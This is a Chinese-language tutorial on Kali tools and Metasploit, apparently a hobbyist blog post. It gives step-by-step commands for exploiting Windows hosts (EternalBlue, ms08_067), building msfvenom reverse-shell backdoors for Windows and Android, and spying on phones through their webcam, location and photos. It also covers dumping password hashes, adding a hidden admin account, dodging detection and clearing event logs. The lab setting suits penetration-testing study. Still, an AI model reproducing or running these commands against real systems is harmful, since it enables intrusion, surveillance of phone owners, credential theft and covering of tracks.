黑客玩具入门——4、漏洞扫描与Metasploit

1、Legion漏洞扫描分析工具

Legion是Sparta的一个分支,它是一个开源的、易于使用的、超级可扩展的、半自动的网络渗透测试框架。它是一款Kali Linux系统默认集成的Python GUI应用程序工具。Legion是一个Nmap、Nikto、Hydra等工具的集合,利用各个工具的优秀功能,完成收集信息、扫描和爆破等任务。

Legion主要包含以下功能:端口扫描,程序自动调用Nmap进行扫描,根据Nmap的扫描结果,nikto自动加载结果,展开更精确的扫描。针对扫描结果,使用特定的工具,比如dirbuster目录爆破,利用webslayer进行web指纹识别。针对可暴力破解的端口,调用hydra进行暴力破解。下面我们来看下如何使用这款工具:

首先我们先登录Metasploitable2,通过ifconfig命令获取其IP地址。然后

打开Legion工具。然后输入sudo legion启动工具。

点击加号。

在这里输入你要渗透的ip即可,然后点击submit按钮即可。

2、漏洞利用searchsploit

首先,大家先记下一个地址:https://www.exploit-db.com/。它是专门用来收集各种漏洞的网站。在kali系统中,有搜索漏洞数据库的本地副本,我们可以在终端窗口中输入命令去搜索。

命令就是searchsploit,它的常用选项如下:

  1. -c,--case [Term]:执行区分大小写的搜索,默认搜索对大小写不敏感。
  2. -e,--exact [Term]:对exploit标题执行EXACT匹配(默认为AND)。
  3. -j,--json [Term]:以JSON格式显示结果。
  4. -m,--mirror [EDB-ID]:将一个漏洞利用镜像副本到当前工作目录。
  5. -o,--overflow [Term]: exploit标题被允许溢出其列。
  6. -p,--path [EDB-ID]:显示漏洞利用的完整路径。如果可能, 还将复制路径到粘贴板。
  7. -t,--title [Term]:仅仅搜索漏洞标题,默认是标题和文件的路径。
  8. -u,--update [Term]:检查并安装任何exploit-db软件包更新。
  9. -w,--www [Term]:显示exploit-db.com的URL而不是本地路径(在线搜索)。

下面我们看下例子:

  1. searchsploit -t oracle windows:搜索标题中包含oracle windows的漏洞。
  2. searchsploit -p 3389:搜索漏洞号为3389的漏洞。
  3. searchsploit mysql:查找mysql的漏洞。
  4. searchsploit apple:查找apple的漏洞。

实践:

  1. 我们需要在win7上安装一个easy file sharing的软件,该软件是一种允许访客容易的经由浏览器上传、下载文件的文件分享系统。

  2. 安装完成后,我们可以在kali系统中,通过searchsploit easy file sharing命令,来查看该软件的一些漏洞。

  3. 然后我们找到/usr/share/exploitdb/exploits/windows/remote/。这个地址下的39009.py文件。

  4. 由于是python脚本所以我们使用python命令来执行,完整的命令是这样的:python /usr/share/exploitdb/exploits/windows/remote/39009.py xxx.xxx.xxx.xxx 80。

  5. 然后回车,就会发现windows7中的计算器打开了。就说明你的脚本入侵成功了。

3、Metasploit简介

Metasploit被业内誉为可以黑掉整个宇宙的工具,虽然有些夸张,但是足以见得Metasploit有多强大。Metasploit是目前最流行、 最强大、最具拓展性的渗透测试平台。2003年由HD摩尔发布第一版,2007年用ruby语言重写。后来被Rapid7收购后,分出了多个版本,有付费的,也有免费的。 Metasploit的官网是:https://www.metasploit.com/

我们可以在Kali系统中找到该软件:

点击之后输入系统root密码,等待一会后,就变成这样了:

4、Metasploit:端口扫描

实验靶机:metasploitable2。

  1. 使用Nmap进行扫描,nmap xxx.xxx.xxx.xxx
  2. 用metasploit模块进行扫描,search portscan。
  3. use auxiliary/scanner/portscan/tcp。
  4. show options,查看需要设置的参数。
  5. set rhosts xxx.xxx.xxx.xxx
  6. 然后输入命令:run。即可。

5、Metasploit:SMB扫描

实验靶机:win7。

SMB,全称是Server Message Block,即服务信息块,是一个协议名。它能被用于Web链接和客户端与服务器之间的信息沟通。通过扫描SMB,可以识别目标的系统信息。

  1. search smb。
  2. use auxiliary/scanner/smb/smb_version。
  3. set rhosts xxx.xxx.xxx.xxx
  4. run。

6、Metasploit:服务识别

实验靶机:linux。

扫描服务器的SSH服务。

  1. search ssh。
  2. use auxiliary/scanner/ssh/ssh_version。
  3. set rhosts xxx.xxx.xxx.xxx
  4. run。

7、Metasploit:网络嗅探

获取FTP密码。

我们需要一个模拟用户:win7。需要一个实验靶机:Windows server 2008(带有FTP服务)。

  1. use auxiliary/sniffer/psnuffle,使用嗅探模块。
  2. sudo su,如果权限不够的话,切换用户。
  3. 输入msfconsole,启动Metasploit。
  4. 然后再实用模块,run即可。

8、Metasploit:SNMP扫描与枚举

SNMP是专门设计用于在IP网络管理网络节点(服务器、工作站、路由器、交换机等)的一种标准协议,它是一种应用层协议。各种网络设备上都可以看到默认启用的SNMP服务,从交换机到路由器,从防火墙到网络打印机,无一例外。

本次的实验靶机:Metasploitable2。

默认情况下,Metasploitable2的SNMP服务仅监听本地主机。所以我们需要对靶机的默认配置做一下修改。

  1. cd /etc/default/snmpd。
  2. 然后通过vim编辑一下,snmpd.pid 后面的ip改成0.0.0.0即可。
  3. 然后跟之前一样,搜索snmp相关的模块:search snmp_login。
  4. 然后,use auxiliary/scanner/snmp/snmp_login。
  5. 然后就是set ip。再就是run。完了
  6. 我们还可以使用auxiliary/scanner/snmp/snmp_enum模块。这里就不重复如何使用了。

9、Metasploit:扫描弱密码主机

实验靶机:多台windows。

使用的模块:auxiliary/scanner/smb/smb_login。

知道ip地址范围即可,批量扫描。

10、Metasploit:VNC身份识别

VNC(Virtual Network Console)是虚拟网络控制台的缩写。它是一款优秀的远程控制工具软件。VNC是在基于UNIX和Linux操作系统的免费的开源软件,远程控制能力强大,高效实用,其性能可以和windows和Mac中的任何远程控制软件媲美。在Linux中,VNC包括以下四个命令:

  1. vncserver
  2. vncviewer
  3. vncpasswd
  4. vncconnect

大多数情况,只需要1、2两个命令即可。

实验靶机:Metaspolitable2。

  1. use auxiliary/scanner/vnc/vnc_none_auth。
  2. set rhosts xxx.xxx.xxx.xxx
  3. run。

然后我们试下vnc密码爆破

  1. use auxiliary/scanner/vnc/vnc_login。
  2. set rhosts xxx.xxx.xxx.xxx
  3. run。

然后我们有了密码,试下vnc登录。

  1. 打开一个新的终端。
  2. 然后输入vncviewer xxx.xxx.xxx.xxx
  3. 输入爆破出来的密码即可远程连接上了。

11、Wmap网站漏洞扫描

Wmap本身不是一个独立的漏洞扫描器,而是作为Metasploit的一个模块。结合Web漏洞和Web服务相关的模块协同工作,完成目标服务器的扫描任务。它的扫描结果不会自动生成报告,而是直接存入Metasploit的数据库。

  1. load wmap:加载wmap
  2. wmap_sites -a http://xxx.xxx.xxx.xxx/mutillidae/:向wmap中添加一个扫描站点。
  3. wmap_sites -l:查看已添加的站点。
  4. wmap_targets -d 0:根据已添加站点的ID,设置带扫描的目标站点。
  5. wmap_targets -l:检查已待扫描的目标主机。
  6. wmap_run -e:执行测试。
  7. vulns:扫描完成后,使用Metasploit命令检查漏洞记录。
  8. wmap_vulns -l。

实战:

  1. 先在Kali的浏览器里输入你已开启的Metasploitable2的虚拟机的ip。不同版本浏览器的位置可能会有些区别,但是你一定可以找到的。

  2. 然后可以看到这样一个超链接。

  3. 点击超链接,进入一个网站。这就是我们要扫描的网站。

  4. 然后执行:wmap_sites -a http://xxx.xxx.xxx.xxx/mutillidae/命令。

  5. 然后执行:wmap_sites -l。查看一下编号id。

  6. 然后执行测试:wmap_run -e。

  7. 等待结束后,可以通过vulns然后wmap_vulns -l命令查看漏洞。

12、Metasploit远程代码执行

实验靶机:Window Server 2008/Windows 7。

  1. search ms17-010。ms:微软。17:17年。010:第十个。
  2. 然后执行:use exploit/windows/smb/ms17_010_eternalblue。
  3. 设置一下相关的参数:
  4. run。

13、Metasploit:利用浏览器漏洞远程执行代码

实验靶机:Windows XP。漏洞利用:ms12-004。

  1. search ms12-004。
  2. use exploit/windows/browser/ms12_004_midi。
  3. set srvhost xxx.xxx.xxx.xxx(当前主机ip)。
  4. set payload windows/x64/shell/reverse_tcp。
  5. set lport 6666。
  6. run。
  7. 然后监听成功后,会生成一个随机的地址。在windows上打开这个地址。回到kali的命令行中,可以查看到它的session。
  8. 然后输入命令:sessions。
  9. 然后使用session:sessions -i [session id]。
  10. 然后就可以进去了。

14、Metasploit:漏洞提权

实验靶机:windows xp。

前提必须要有一个session会话。

  1. search ms08-067。
  2. use exploit/windows/smb/ms08_067_netapi。
  3. set rhosts xxx.xxx.xxx.xxx
  4. set lport 5555。
  5. run。
  6. sessions。
  7. search 14-002。
  8. use exploit/windows/local/bthpan。
  9. set session [session id]。
  10. set payload windows/meterpreter/reverse_tcp。
  11. set lport 6666。
  12. run。

其他模块:

  1. exploit/windows/local/ms13_053_schlamperei
  2. exploit/windows/local/ms13_081_track_popup_menu

15、Metasploit:生成后门

首先,windows、Linux、java、php、Android等后门都支持。嘿嘿。

1、生成windows后门

命令:

  1. msfvenom -p windows/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx(本机ip) lport=5555 -f exe -o /home/kali(你的home目录下的用户目录)/payload.exe
  2. msfvenom -p windows/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx(本机ip) lport=5555 -i 3 -e x86/shikata_ga_nai -f exe -o /home/kali(你的home目录下的用户目录)/payload.exe

Msfvenom:

  1. msfvenom --list archs,查看支持的系统架构。
  2. msfvenom --list platforms,查看支持系统平台。
  3. msfvenom -l payload,查看所有可用的payload。
  4. msfvenom -l formats,查看所有的输出格式。
  5. msfvenom -l encrypt,查看所有的加密方式。
  6. msfvenom -l encoders,查看所有的解码器。

实践:

  1. 先输入上面的命令中的第一条命令,然后在你的home/XXX目录下可以看到一个payload.exe文件。

  2. 然后我们需要启动apache服务:sudo service apache2 start。

  3. 然后在windows的虚拟机里,可以通过浏览器访问kali的ip地址,就会打印出Apache服务。

  4. 然后我们把生成的exe文件复制到windows中。

    1. 删除Apache主页的页面,把payload.exe复制过去。(想要右键删除,发现删不了,好吧,用命令行删吧)
      • cd /var/www/html。
      • sudo rm index.nginx-debian.html
      • sudo rm index.html
      • sudo cp /home/xx(你的用户名)/payload.exe /var/www/html/
    2. 然后刷新windows浏览器刚才的地址,就会看到一个文件,然后把它保存到本地的桌面上即可。
  5. 打开Metasploit。(刚才的payload.exe相当于被控端,我们还需要和主控端结合使用 )。设置使用模块及参数:

    1. use exploit/multi/handler
    2. set payload windows/meterpreter/reverse_tcp
    3. set lhost xxx.xxx.xxx.xxx(你的主控端ip)
    4. set lport 5555
    5. run
  6. 然后出现下面的命令行主机名就说明我们成功了:

2、生成Android后门

实验靶机:Android模拟器。

总体的流程跟windows后门是很类似的,只是使用的模块有些许的区别。我们需要修改一些配置:

  1. 把kali系统的网络连接模式改成桥接模式,因为安卓模拟器是安在物理主机上的,桥接模式之前讲过了这里不再多说。

  2. 安装一个安卓模拟器,不要安装腾讯手游助手,那个更偏向游戏玩耍。安装个夜神啊啥的都行。注意,是安装在你的物理机上的。

  3. 然后输入:sudo ifconfig。我们会发现,ip地址变化了。

实验开始:

  1. msfvenom -p android/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx(本机ip) lport=5555 R>/home/kali(你的home目录下的用户目录)/payload.apk
  2. 同样的开始Apache服务:sudo service apache2 start。
  3. 然后在你的安卓模拟器的浏览器里,输入你的kali虚拟机的ip。
  4. 把你的apk安装包复制到apache目录下:sudo cp /home/zakingwong/payload.apk /var/www/html/。
  5. 刷新下安卓模拟器的目录。发现有了新的apk文件。
  6. 跟windows的操作一样,下载apk,安装apk。
  7. 然后,打开Metasploit。
  8. 使用主控端模块,跟windows一样:use exploit/multi/handler。
  9. set payload android/meterpreter/reverse_tcp。
  10. set lhost xxx.xxx.xxx.xxx(你的主控端ip)。
  11. set lport 5555。
  12. run

然后你就可以干你想干的事了。

3、远程控制安卓手机,调用摄像头拍照

  1. webacm_list,查看有哪些摄像头。
  2. webacm_snap,从指定的摄像头拍摄快照:
    • -h:显示帮助。
    • -i:要使用的网络摄像头的索引号。
    • -p:JPEG图像文件路径。默认为HOME/[随机乱码名字].jpeg。
    • -q:JPEG图像质量,默认为50。
    • -v:自动查看JPEG图像,默认为"true"。
  3. webcam_stream:从指定的网络摄像头播放视频流。
  4. 然后,自己用命令去玩吧。
  5. 友情提示,链接你wifi的安卓手机,都可以这么玩。所以,不要干坏事!!!!违法的!!!

4、远程控制安卓手机,上传下载文件

我们先来学下文件系统命令:

  1. cat,读取并输出到标准输出。
  2. cd,更改目录。
  3. checksum,检索文件的校验和。
  4. cp,将源文件复制到目标文件夹。
  5. dir,列表文件,ls的别名。
  6. download,从目标系统文件下载。
  7. eidt,用vim编辑文件。
  8. getlwd,打印本地目录。
  9. getwd,打印工作目录。
  10. lcd,更改本地目录。
  11. lls,列出本地文件。
  12. lpwd,打印本地工作目录。
  13. ls,列出文件。
  14. mkdir,创建目录。
  15. mv,将源文件移动到目标目录。
  16. pwd,输出工作目录。
  17. rm,删除文件。
  18. search,搜索文件。
  19. upload,上传文件或目录。

实践从手机下载文件,上传文件,大家可以自己尝试哦:

  1. cd /
  2. ls
  3. cd sdcard
  4. ls
  5. cd DCIM
  6. ls
  7. cd Camera
  8. download 1.jpeg

5、远程控制安卓手机,实现定位

具体的Android命令有很多,这里就不多说了,大家有兴趣可以自己去百度查下。然后实现定位就很简单了,使用geolocate命令即可。

16、Meterpreter:Windows访问文件系统

  1. 首先,把网络连接模式修改成NAT模式
  2. 在windows运行之前生成好的exe文件,如果不知道咋回事回头看下。
  3. 在kali系统上开启主控端:use exploit/multi/handler 。
  4. set payload windows/meterpreter/reverse_tcp。
  5. set lport 6666。
  6. set lhost xxx.xxx.xxx.xxx(主控端ip)。
  7. run。
  8. 跟之前一样,被控端安装下exe文件。
  9. 然后就可以操作windows的系统文件了。相关命令跟之前安卓部分的命令都差不多。这里就不多说了。

17、Meterpreter:Windows权限提升和获取凭证

有的时候,你可能会发现自己的Meterpreter会话受到了用户权限的限制。修改注册表、安装后门或导出密码等活动都需要提升用权限。而Meterpreter给我们提供了一个getsystem命令,可以实现提权。

另外,getuid 可以获取当前的用户信息,system是系统的最高权限。如果使用system命令仍无法获取,那么接下来可以使用之前学过的漏洞提权。

我们来看下漏洞提权的实践步骤:

  1. search ms13-053。
  2. use exploit/windows/local/ms13_053_schlamperei。
  3. 然后我们需要设置一下session。之前学过的,这里不说了。
  4. set session 1。
  5. set payload windows/meterpreter/reverse_tcp。
  6. set lport 6666。
  7. run。

提升权限后,可以通过hashdump 模块,从SAM数据库中导出本地账号。数据的输出格式是:

复制代码
用户名:SID:LM哈希:NTLM哈希:::

18、Meterpreter:Windows运行程序和屏幕截图

快速执行命令脚本:每次我们执行的命令内容基本上都是类似的,所以我们可以创建一个文件。

1.然后右键选择用mousepad打开。

2.然后可以把我们常用的命令写到这个脚本里。内容如下:

复制代码
use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.10.129

set lport 5555

3.然后保存文件。

4.打开Metasploit。输入这样的命令:resource /home/(你的用户名)/windows_control。

5.脚本就运行了。

6.然后直接run。

7.再打开被控端就可以了。

1、运行程序

execute命令可以可以在目标系统中执行应用程序。该命令的使用方法如下:

  1. execute -f <file> [Options]
    • -H,创建一个隐藏进程。
    • -a,传递给命令的参数。
    • -i,跟进程进行交互。
    • -m,从内存中执行。
    • -t,使用当前伪造的线程令牌运行进程。
    • -s,在给定会话中执行进程。

然后哈哈哈哈哈,我们可以试一下这个命令:execute -f calc.exe。打开Windows的计算器。哦吼,好玩吧。

2、屏幕截图

screenshot命令来进行截图,并存储在kali中。

screenshare命令可以进行实时的监控。

19、Meterpreter:Windows创建新账号和启用远程桌面

1、创建新账号

通过getgui脚本,使用-u和-p参数,并给它分配管理员权限,然后将其添加到远程桌面用户组中。

复制代码
run getgui -u hack -p pass123

注意:如果你的权限不是SYSTEM,需要用之前学过的方法进行提权。提权之后再用上面的命令创建用户。

2、启用远程桌面

如果用户没有开启远程桌面功能,那么可以通过:

复制代码
run getgui -e

来开启远程桌面。

在开启远程桌面之前,我们还需要使用idletime命令检查远程用户的空闲时常,这样可以降低你被发现的概率。

然后我们在新的终端执行:rdesktop [你的目标ip:3389]。

然后可能你创建的用户权限不够。那么你可以在Meterpreter中执行shell命令,也就是打开你控制的目标主机的终端,执行下面的命令:

net localgroup administrators hack/add。这里的hack就是你之前创建的用户名。

20、Meterpreter:Windows进程绑定和清除事件日志

1、进程绑定

Meterpreter可以通过与其他进程绑定来实现持久化。

  1. 使用ps命令查看运行的进程。(当然要通过之前写好的脚本链接主控端和被控端,进入Meterpreter)
  2. 通过getpid命令,拿到当前你这个hack脚本的进程。
  3. 然后我们随便找一个ps列出来的进程绑定吧。使用**migrate [pid]**命令即可。
  4. 在查看pid就会变成绑定的那个pid了。

2、清除日志

可以通过clearev命令来清除日志。

ps:我们可以通过右键计算机-》管理-》事件查看器-》Windows日志。来查看日志。